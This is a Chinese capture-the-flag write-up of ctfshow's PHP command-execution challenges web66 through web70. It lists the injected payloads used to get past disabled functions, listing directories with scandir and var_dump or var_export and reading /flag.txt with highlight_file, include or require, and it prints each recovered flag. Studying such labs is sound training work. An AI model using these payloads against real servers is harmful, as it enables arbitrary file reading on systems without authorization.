ctfshow-web入门-命令执行(web66-web70)

发布于:2024-07-03 ⋅ 阅读:(17) ⋅ 点赞:(0)

目录

1、web66 

2、web67

3、web68

4、web69

5、web70


1、web66 

show_source 被禁用

highlight_file 发现 flag 不在 flag.php 里面

先使用 scandir() 进行目录扫描:

c=print_r(scandir("./"));

当前目录下只有 index.php 和 flag.php 

扫一下根目录:

c=print_r(scandir("/"));

发现存在 flag.txt 

使用 highlight_file 读取:

c=highlight_file("/flag.txt");

拿到 flag:ctfshow{7aca1673-e850-4d01-915a-c8d487bf980d}

其中 print_r 也可以使用 var_dump

c=var_dump(scandir("/"));

2、web67

与上一题类似,不过这里 print_r 也被禁用了

我们使用 var_dump

c=var_dump(scandir("/"));

可以看到也存在 flag.txt 

读取:

c=highlight_file("/flag.txt");

拿到 flag:ctfshow{e59fb332-a5c7-49f3-ad65-1d9d3b3f2a6e} 

3、web68

highlight_file() 被禁用了

扫描根目录:

c=var_dump(scandir('/'));

 存在 flag.txt

但是 show_source() 和 highlight_file 都被禁用了

对于 txt 文件,我们使用 include 进行包含就可以直接看到文件内容:

c=include("/flag.txt");

也可以使用 require:

c=require("/flag.txt");

拿到 flag:ctfshow{3a1bb694-ef48-414f-b215-93ab0e9fe501}

4、web69

var_dump 被禁用了

print_r 也被禁用了

使用 var_export 函数打印变量:

c=var_export(scandir('/'));

存在 flag.txt 

读取使用上一题的 payload:

c=require("/flag.txt");

或者 

c=include("/flag.txt");

拿到 flag:ctfshow{2f1a1cab-ff9b-46af-9631-cf4de82834ec}

5、web70

过滤的东西更多:

ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。

error_reporting() 函数设置当前脚本的错误报告级别,返回旧的错误报告级别。

对我们这里的影响不大

上一题 payload 可用: 

c=var_export(scandir('/'));

c=include("/flag.txt");

拿到 flag:ctfshow{cfc20c7a-a43f-46a5-b09a-0952bfb58985}


网站公告

今日签到

点亮在社区的每一天
去签到